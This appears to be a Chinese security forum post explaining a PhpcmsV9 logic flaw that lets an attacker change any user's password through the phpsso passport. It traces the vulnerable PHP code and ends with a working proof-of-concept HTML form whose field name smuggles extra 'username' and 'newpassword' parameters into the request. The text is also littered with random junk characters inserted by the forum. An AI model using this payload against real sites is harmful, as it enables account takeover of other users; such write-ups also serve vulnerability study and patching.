找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1790|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:3 X: c% H" `1 H5 b% P5 g7 \: x; P' W
4 v, }& a. Q" R3 n6 O; _
" Y$ C! v$ i% f/ D! T8 g
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
4 {* p. a8 s( V9 K( M/ ]/ d; G. x1 }4 ^+ I! |" A
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。7 b* _. s/ t4 k8 V
4 N. H, l8 P+ Z' i
我把它留给了你们。
  q" U$ q. v  T不知道你们发现了它没有。
8 Z# S) X; E  ~
4 A* T3 R  i1 A/ W% P) \! D我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
" B( ?" z: ^, N  Y: C3 F% }/ L; y
" s+ _  n' s% G所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
$ |: L- Z. @! a; ~+ @. S7 Q7 M/ y( D! I9 `  G
也就是
. t! D, k: C& ~( o
$ |# d5 f4 n8 ^) _) N' }; j& Pusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
* [3 P9 ]8 E( @  o4 |/ g1 G9 v
# F: V. Y9 X9 T* p" y- W" j要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
' Z3 z, R1 r" s5 s1 ?. V4 L" B& y! i( v* ~

3 ?/ S. R* q* m其实我们有这样的机会,看看代码,如下:# \, l1 d) T! {, M
8 q* v6 \( Q9 X; {* H8 P6 x9 i& k
" e5 v  F$ U# i! E: c" b
public function auth_data($data) {
% x+ @: z6 v# [                $s = $sep = '';
: L7 t/ z3 Q/ U                foreach($data as $k => $v) {
" z; f' t9 x% R" Z7 D) o* s                        if(is_array($v)) {
5 t# G8 O/ }) ]. j' a7 h! W                                $s2 = $sep2 = '';  \0 Y# j+ g8 ^  W" W8 g
                                foreach($v as $k2 => $v2) {
% q& }- I; f4 a2 ?                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);* w8 \1 i' R2 a5 X! Q) J0 p
                                        $sep2 = '&';  r; ?. @+ Y! ~9 d
                                }9 [5 P( \1 x; C4 p
                                $s .= $sep.$s2;
6 n0 Z/ N9 R# I$ \' a4 V; [) p* L, o' _                        } else {+ v% ~' Q; b1 M: ?/ Z, d* a
                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
; |0 [8 z; h3 _2 d3 \7 I0 @                        }: }8 Z) a/ k5 @; k! z
                        $sep = '&';9 s$ O( l* P( v  g- u% K
                }
! p  E  n! ?$ [& |5 W, l. b2 c( u8 d: D# A% _4 n% k
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));5 f+ m" h8 F- b% G: A
                return $auth_s;! J# i" H7 `% F
        }
# Q2 V* u' _) u9 c6 q/ r* E4 r1 e
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。8 i& `1 D% p) r" G- |! K

# Q; {8 a( x8 z% t6 I& B举个例子1 Z3 A: w# r6 L) ?# C: I

# a2 t, G& f! i* @$a[aaa=a&bbb] = 'a';
. V( x" S4 g- g3 d- _9 ^9 x; U1 `: h* [( l4 `! l& w" x5 n  X
会变成aaa=a&bbb=a
% X  J3 t/ p9 n6 @% R0 E8 C+ |# I3 Y4 a
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。8 P: r- a2 U, r. s
% _8 v0 F6 C3 K5 k
这个时候,我们可以再去看一个函数。8 b  y- k- @8 f7 X; p) P3 i6 w" `9 B

- ~8 E. ~4 Z; C7 r# @6 d) K. a就在这个文件内:
" K5 P. W; k' h. @. b8 M9 x# U: i
. D7 h2 M& @7 ]* n$ i' @( L- {
" a7 b: ^3 ^9 v. r% j" T6 Y$ Mpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {2 x4 J( X3 N/ ]7 F' Q/ H4 A
                if($email && !$this->_is_email($email)) {( @( d6 R# x5 q( b, F$ i# {- e
                        return -4;
1 v1 @3 \7 p) \. O4 w6 z8 q                }
4 O/ O+ n+ P9 F1 E' O3 S/ Q# X                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
0 W+ l4 Y% a- d6 N' Y5 C        }
7 y4 y7 H% o4 ^2 @" p; }7 \
' ^4 e" f7 L* D( p* p6 W这是向通行证发了这样一个请求。
3 [1 n; n& k; r0 }4 Z+ u/ O) a/ H3 c# H8 r6 |
我们再跟到通信证代码里去看看,就会有所发现。
6 l9 Q/ f0 x# u8 Z0 \3 y. K/ t+ }( l# ]& b5 ]
) m- G! i; ~5 H0 c/ L
public function edit() {
" p8 U- n" j+ q, j, K" d6 t' u//能省就省,太长了不是吗?
# k, _3 q% i1 x! U6 d( R4 Y4 {3 X
% A  a4 ^6 A: gif($this->username) {" o, u0 K4 N; o
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
  f$ q8 w' Y$ \  f; Q& a1 d                                $res = $this->db->update($data, array('username'=>$this->username));+ t! p( ~2 [* U( y9 ~9 W5 P
                        } else {
+ _3 @0 e' s3 M6 {, L' k0 |                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
5 G& E3 V) I7 W& e6 t7 s                                $res = $this->db->update($data, array('uid'=>$this->uid));
( f- y& r4 Q. B2 H! e5 o  `6 @; }                        }6 Y- G* o: s* s; Z( @$ W0 e- b
: G9 Z, b  M- ]- ]% F
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:; n+ c; ~9 E- t/ e- U

- c# O" B& {4 |8 s- t( e9 c1 h; Jpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
$ p* {9 [/ k) G% a' o: i1 X8 l  R9 s# W$ ^$ f4 x3 q/ ?
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。8 m0 D+ X# x- k6 v* v6 ]) U& M( F

7 ?6 f8 y$ _6 D% J2 n我当然找到了:
2 E5 A: v0 b, C; {) \0 ~" [- Nphpcms9/phpcms/modules/member/index.php
2 m5 V4 t, `  h  T7 I4 v! }8 F; m% p& D' O7 I; T, K
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);1 I1 R% D2 Z( k9 H

8 o' O: g' |; Q然后就没有然后了。
2 _; x# s- Y( ^7 ^- Y
- h. n* ?" `! L# V<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
1 s6 [, _' f/ V( ]& O                                <table width="100%" cellspacing="0" class="table_form">
+ w  ]6 ?# t3 w# p, B$ M9 _! Z( V* K                                        <tr>
6 ?; X( l+ @' V' h- z5 Q                                                <th width="80">邮箱:</th>        - V9 e8 j& G' g6 n' N
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
+ f; J; y; ~& r% N                                        </tr>
+ i; m! I$ M( V; B2 [4 g0 X                                        <tr>
, j' J: P9 E& v" q                                                <th width="80">原密码:</th>        0 r" I% n5 n8 X$ i7 x* o% _
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
8 h& Y& `+ F7 I                                        </tr>" p. r2 B7 }( m0 w7 [. C
                                        <tr>( m! L& I( e! _# b
                                                <th>新密码:</th>/ p+ F. K9 R. \& N  ]
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
! l* q7 k2 d4 Z, w                                        </tr>
' @: f% f4 B: @: G$ E' V7 ^' v                                        <th></th>" a* j3 z7 Z: H4 r& h6 v' d5 \
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>- }- Z9 k9 H" B& t
                                        </tr>
- r  u  F6 b7 u8 x' R                                </table>
7 d3 C, s. @$ E9 B
6 M4 |. J7 \4 ?7 _: `* y                                6 ^0 s" s1 Y& r  ]% Q
                        </form>
* A# P$ B; w- X" t
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表